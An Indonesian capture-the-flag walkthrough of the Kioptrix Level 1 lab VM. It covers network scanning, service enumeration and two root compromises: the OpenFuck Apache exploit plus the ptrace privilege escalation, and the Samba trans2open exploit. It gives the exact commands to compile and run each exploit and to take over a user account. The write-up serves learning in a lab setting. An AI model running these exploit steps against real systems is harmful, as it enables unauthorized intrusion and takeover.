Capture the Flag : Kioptrix Level 1


Pengenalan

Pada tulisan ini akan membahas tentang Kioptrix Level 1, yaitu sebuah mesin virtual (VM) yang dirancang untuk belajar tentang dasar-dasar keamanan siber. Pada VM ini, kita diberi tuga untuk melakukan eksploitasi sistem untuk mendapatkan akses root tanpa menyebabkan kerusakan sistem.

Untuk memulai mencoba Kioptrix Level 1, ada beberapa hal yang perlu kita sediakan seperti:

  1. VirtualBox
  2. VM Kali Linux
  3. VM Kioptrix Level 1

Tujuan

Tujuan dari tulisan sebagai bentuk belajar dan tantangan tentang keamanan siber dengan menggunakan alat dan teknik dasar dalam melakukan assement dan eksploitasi dari sistem.

Pengaturan VirtualBox

Sebelum memulai perjalanan untuk mencari akses root pada sistem, kita atur dulu VM pada VirtualBox. Seperti pengaturan jaringan agar bisa dalam satu jaringan antara VM Kali Linux sebagai attacker dan VM Kioptrix Level 1 sebagai target, dalam tulisan ini menggunakan jaringan NAT. Berikut langkah-langkah yang dilakukan untuk membuat jaringan NAT pada VirtualBox:

  1. Buka Network Manager pada VirtualBox dengan shortcut ctrl+H
  2. Pilih tab NAT Network dan klik create
  3. Pada General Options berikan nama jaringan NAT, contoh diberi nama NatNetwork
  4. Isikan IPv4 Prefix, contoh menggunakan IPv4 : 10.0.2.0/24 dan centang Enable DHCP

pengaturan NAT

Metodologi

Metodologi yang digunakan untuk menjelajahi Kioptrix Level 1 adalah:

  1. Network Scanning, metodologi untuk mengumpulkan informasi perangkat yang terhubung pada suatu jaringan dan informasi yang didapatkan adalah alamat IP setiap perangkat yang terkoneksi dalam jaringan, nama host atau nama perangkat dalam satu jaringan, port atau saluran komunikasi yang digunakan oleh layanan tertentu pada perangkat. Dan yang terakhir adalah aplikasi atau program yang berjalan atau aktif pada perangkat.
  2. Enumeration, setelah didapatkan data perangkat selanjutnya adalah melakukan enumerasi atau proses pengumpulan informasi yang sistematis dan terstruktur tentang suatu target, seperti jaringan, sistem komputer, atau aplikasi.
  3. Exploitation, kerentanan perangkat telah ditemukan maka selanjutnya adalah melakukan eksploitasi kerentanan yang ada untuk masuk kedalam perangkat.
  4. Gaining Root Access, pada tahap sebelumnya memiliki akses ke perangkat tetapi akses tersebut terbatas maka pada tahap terakhir adalah memperoleh akses penuh pada perangkat.

Peralatan

  1. Netdiscover, berfungsi untuk menemukan perangkat pada jaringan.
  2. NMAP, berfungsi memindai jaringn untuk mengidentifikasi port yang terbuka dan mendeteksi layanan atau service yang berjalan pada port yang terbuka.
  3. Searcsploit, berfungsi memindai kerentanan berdasarkan aplikasi yang terpasang pada sistem yang menggunakan database Exploit Database.
  4. Metasploit, berfungsi mengeksploitasi kerentanan sistem, meningkatkan akses dan melakkukan beberapa tindakan pada sistem.

Langkah-langkah

Network Scanning

Hal pertama yang perlu dilakukan adalah mencari perangkat yang terhubung pada jaringan NAT yang telah dibuat menggunakan Netdiscover, tapi sebelum itu kita cari tahu dulu, berapa alamat IP Attacker yang digunakan dalam jaringan NAT dengan perintah:

ip a

![[ip-a.png]] Dari gambar tersebut, Attacker mendapat IP 10.0.2.5 selanjutnya jalankan perintah :

sudo netdiscover -r 10.0.2.0/24

Perintah tersebut akan melakukan pemindaian pada range IP 10.0.2.0 dengan subnet 24 bit atau alamat IP diantara 10.0.2.1 sampai dengan 10.0.2.255.![[netdiscover.png]] Dari hasil pemindaian, terdapat 4 IP. Selanjutnya tentukan IP mana yag menjadi target atau IP dari VM Kioptrix. Untuk IP 10.0.2.1 dan 10.0.2.2 kemungkinan tidak hal ini biasanya IP 10.0.2.1 dan 10.0.2.2 untuk jaringan router bukan untuk sebuah server. Jadi, opsi yang mungkin adalah 10.0.2.3 dan 10.0.2.4. Agar lebih yakin lagi, lakukan pemindaian port yang terbuka pada daftar alamat IP yang telah didapat dengan menggunakan perintah:

sudo nmap -F 10.0.2.1-4

Perintah tersebut akan melakukan pemindaian port secara cepat pada range IP 10.0.2.1 sampai dengan 10.0.2.4. ![[nmap-f.png]] Dari hasil perintah tersebut dapat diketahui bahwa perangkat dengan IP 10.0.2.4 memiliki banyak port terbuka. Salah satunya adalah port untuk server web, sehingga dapat dicoba dengan mengakses server web tersebut menggunakan browser. ![[laman-web.png]] Dengan begini, perangkat dengan IP 10.0.2.4 adalah target atau VM Kioptrix Level 1.

Enumeration

Setelah mengetahui target, gali lagi informasi port apa saja yang terbuka pada IP target dengan melakukan perintah:

sudo nmap -p- -A 10.0.2.4

Enumerasi

Diperoleh informasi sebagai berikut:

Port State Service Version
22 open ssh OpenSSH 2.9p2
80 open http Apache 1.3.20
111 open rpcbind 2 (RPC #100000)
139 open netbios-ssn Samba smbd
443 open https Apache 1.3.20

Selain port yang terbuka dan versi yang terpasang, juga memperoleh informasi bahwa sistem operasi yang digunakan pada VM Kioptrix adalah Redhat Linux dan Kernel yang dipakai Linux 2.4.9 - 2.4.18. Setelah itu, cari direktori yang mungkin tersimpan informasi-informasi penting dengan perintah:

dirb http://10.0.2.4

Enumerasi 2 Semua direktori yang terdeteksi tidak mengandung informasi tentang pengambil alihan sistem sama sekali. Jadi, bisa diabaikan untuk hasil pemindaian direktori.

Exploitation

Setelah mengetahui port mana saja yang terbuka, service apa saja yang berjalan, aplikasi apa saja yang berjalan dibelakang dan direktori apa saja yang dapat diakses yang perlu dilakukna adalah pencarian celah pada aplikasi yang berjalan pada service yang bersifat open dan mempunyai dampak pengambil alihan sistem.

OpenSSH

Untuk melakukan pencarian celah pada OpenSSH dengan menggunakan perintah berikut:

sudo searchsploit OpenSSH 2.9p2

Searchploit OpenSSH Dari hasil perintah tersebut, terdapat beberapa kerentanan pada OpenSSH 2.9p2. Kebanyakan untuk melakukan Enumerasi Username atau sebuah eksploitasi untuk mengidentifikasi atau melakukan valiadasi keberadaan username dalam sistem. Karena tidak sesuai dengan tujuan dari Kioptrix Level 1 maka tidak menggunakan kerentanan OpenSSH 2.9p2 untuk saat ini.

Apache

Untuk melakukan pencarian celah pada Apache dengan menggunakan perintah berikut:

sudo searchsploit apache 1.3.20

Searchploit Apache Dari hasil perintah tersebut, terdapat beberapa kerentanan pada Apache 1.3.20. Mulai dari DoS sampai injeksi perintah pada sistem. Dari sekian banyak kerentanan, ada salah satu kerentenan yang dapat mengambil alih kontrol pada sistem, yaitu Remote Buffer Overflow.

rpcbind

Untuk melakukan pencarian celah pada ssh dengan menggunakan perintah berikut:

sudo searchsploit rpcbind

Searchploit RPCBind Pada rpcbind, celah keamanan yang didapat tentang DoS dan PoC. Tidak memuat celah untuk pengambil alihan sistem jadinya tidak digunakan untuk saat ini.

Samba

Dikarenakan pada saat enumerasi tidak menemukan versi samba yang dipakai, maka perlu mencari versi dengan perintah:

msfconsole

msfconsole Sekarang berikan perintah:

use auxiliary/scanner/smb/smb_version
show options

msfconsole Perintah use auxiliary/scanner/smb/smb_version digunakan untuk mencari versi samba dengan menggunkan auxiliary dan show options untuk memberikan informasi perintah yang dapat dilakukan. Setelah mengetahui, perintah apa saja yang dapat dilakukan, jalankan perintah:

set RHOSTS 10.0.2.4

Perintah ini menetapkan Host atau target, RHOST sendiri kepanjangan dari Remote Host. Dan ketikkan perintah:

run

msfconsole Dari perintah tersebut dapat diketahui, bahwa Samba yang terpasang pada VM Kioptrix adalah Samba 2.2.1a. Sama seperti aplikasi sebelumnya, ketikkan perintah:

sudo searchsploit samba 2.2.1a

samba Dari hasil perintah tersebut dapat diketahui, ada satu celah yang memungkina untuk melakukan ambil alih sistem yaitu Remote Code Execution.

Gaining Root Access

Apache

Pertama, coba menggunakan celah keamanan pada Apache dengan menggunakan OpenFuckV2. Langkah selanjutnya, salin file yang bernama 47080.c pada direktori /usr/share/exploitdb/exploits/unix/remote/ ke folder Home. Dan beri nama openfuckV2.c.

cp /usr/share/exploitdb/exploits/unix/remote/47080.c openfuckV2.c

Cek apa saja yang dibutuhkan sebelum menjalankan file tersebut dengan perintah:

head openfuckV2.c

Sebelum menjalankan file OpenfuckV2.c perlu libssl-dev dan untuk melakukan instalasi sudah tertera pada file OpenfuckV2.c. Setelah requirements terpenuhi, lakukan compile file tersebut dengan pemrograman C sebagai berikut:

gcc -o OpenFuck openfuckV2.c -lcrypto

comppile openfuck Terdapat pesan galat karena beberapa paket telah usang, apakah OpenFuck masih tetap berjalan atau tidak walau terdapat pesan galat tersebut dapat dijalankan perintah:

./OpenFuck

use openfuck Meski ada beberapa pesan galat, OpenFuck masih bisa dijalankan. Dalam pesan tersebut dijelaskan bagaimana cara menggunakan OpenFuck dan dapat digunakan pada Apache versi berapa dan Sistem Operasi dan Distribusi GNU/Linux apa. Dari informasi yang didapat sebelumnya, bahwa VM Kioptrix menggunakan Apache 1.3.20 dan sistem operasi yang digunakan adalah RedHat Linux 7.2 dan ternyata kompatibel dengan OpenFuck yaitu pada:

0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2

Sehingga dapat menggunakan perintah:

./OpenFuck 0x6a 10.0.2.4 443 -c 40

0x6a Dan ternyata tidak dapat menghasilkan apa-apa, selanjutnya coba dengan perintah:

./OpenFuck 0x6b 10.0.2.4 443 -c 40

0x6b Berhasil masuk ke dalam VM Kioptrix tetapi ada sedikit kendala seperti tertera pada terminal bahwa tidak bisa tersambung ke akses jaringan jadi ada sebuah file yang di unduh dan di ekseskusi. Sehingga perlu mengetahui akses sebagai apa di VM dengan menjalankan perintah:

whoami

Dari hasil screenshot diatas, mendapat hak akses sebagai apache dan perlu dinaikkan aksesnya sebagai root seperti tujuan awal dari tantangan ini dengan menambahkan file ptrace-kmod.c dengan cara berikut:

  1. Buka tab baru pada terminal di VM Kali Linux, dan jalankan perintah:
cp /usr/share/exploitdb/exploits/linux/local/3.c ptrace_priv_esc.c
cat ptrace_priv_esc.c | xclip -i ## Proses melakukan copy kode
  1. Balik ke terminal remote VM Kioptrix dan jalankan perintah berikut:
cd /tmp
vi ptrace_priv_esc.c ## Lakukan paste kode pada vim, kode tersebut dicopy menggunakan xclip pada VM Kali Linux
gcc ptrace_priv_esc.c -o go
./go
whoami
  1. Sekarang telah mendapat akses sebagai user root dan tindakan selanjutnya adalah mencoba melakukan pengambil alihan salah satu user, misalnya john dengan perintah:
passwd john

ls user

john pass Tahap selanjutnya adalah mencoba melakukan SSH VM Kioptrix menggunakan user john:

ssh john@10.0.2.4

john SSH Masih terdapat kendala saat melakukan SSH pada VM Kioptrix, maka perlu penambahan kode berikut pada ssh_config:

KexAlgorithms +diffie-hellman-group1-sha1,diffie-hellman-group14-sha1
PubkeyAcceptedAlgorithms +ssh-rsa
HostKeyAlgorithms +ssh-rsa

john akses Dan akhirnya, sukses melakukan remote dengan SSH pada user john.

Samba

Karena pada aplikasi Samba juga terdapat celah keamanan untuk mendapat hak akses, alangkah baiknya dicoba sekalian. Pertama yang perlakukan adalah mencari exploit shell seperti Apache sebelumnya. Dari hasil enumerasi, kita perlu sebuah file dengan nama 10.c dan bisa didapatkan dengan perintah:

searchsploit -m 10.c
gcc 10.c -o 10
./10

10c Maksud dari perintah pertama adalah melakukan penyalinan file 10.c dari searchploit pada folder dimana perintah tersebut dijalankan dalam hal ini berada folder /home/kali. Perintah kedua melakukan kompilasi file exploit dari pemrograman C agar bisa dijalankan dan diberi nama dengan nama 10. Perintah ketiga menjalankan exploit dan menampilkan sintaks tambahan apa saja yang dapat dilakukan dengan menjalankan perintah 10. Dari penjelasan pada screenshot, untuk melakukan exploitasi dengan perintah:

./10 -b 0 10.0.2.4
whoami

Perintah pertama melaukan bruteforce Samba pada Linux, setalah itu perintah whoami untuk cek login dengan user siapa dan ternyata login menggunakan root. Langkah selanjutnya untuk melakukan pencarian apa yang penting, hal pertama adalah mencari tahu direktori apa saja yang dimiliki pada user root. Pada direktori ternyata ada sebuah file dengan nama .bash_history, yang berisi perintah apa saja yang telah dilakukan pada VM Kioptrix. Untuk cek riwayat perintah bash dapat dilakukan dengan perintah:

cat .bash_history

Dan woila, ada beberapa riwayat perintah. Ada satu riwayat perintah yang terlihat penting yaitu mail. Cukup jalankan perintah:

mail

Perintah tersebut ternyata untuk melakukan pengcekan mail atau pesan pada VM Kioptrix. Ternyata ada satu pesan yang cukup menarik, yaitu About Level 2. Setelah dibuka, ternyata pesan kalau sudah berhasil mendapatkan hak akses root dan untuk melanjutkan ke VM Kioptrix Level 2. root smb

root smb

sukses smb

Penutup

Dari serangkaian melakukan CTF atau belajar keamanan siber ini dapat disimpulkan bahwa VM Kioptrix Level 1 terdapat dua celah yang dapat digunakan untuk mendapatkan hak akses. Yaitu lewat celah keamanan pada Apache dan Samba. Entah bagaimana pun caranya, hasil akhirnya sama. Sebagai pengingat, untuk melakukan pentesting harus dilakukan secara berurutan, cepat, tepat dan teliti bila menggunakan mesin asli di dunia nyata.



Referensi tulisan:

  1. Walkthrough Kioptrix Level 1
  2. Kioptrix Level 1
  3. Enable Diffie Hellman
comments powered by Disqus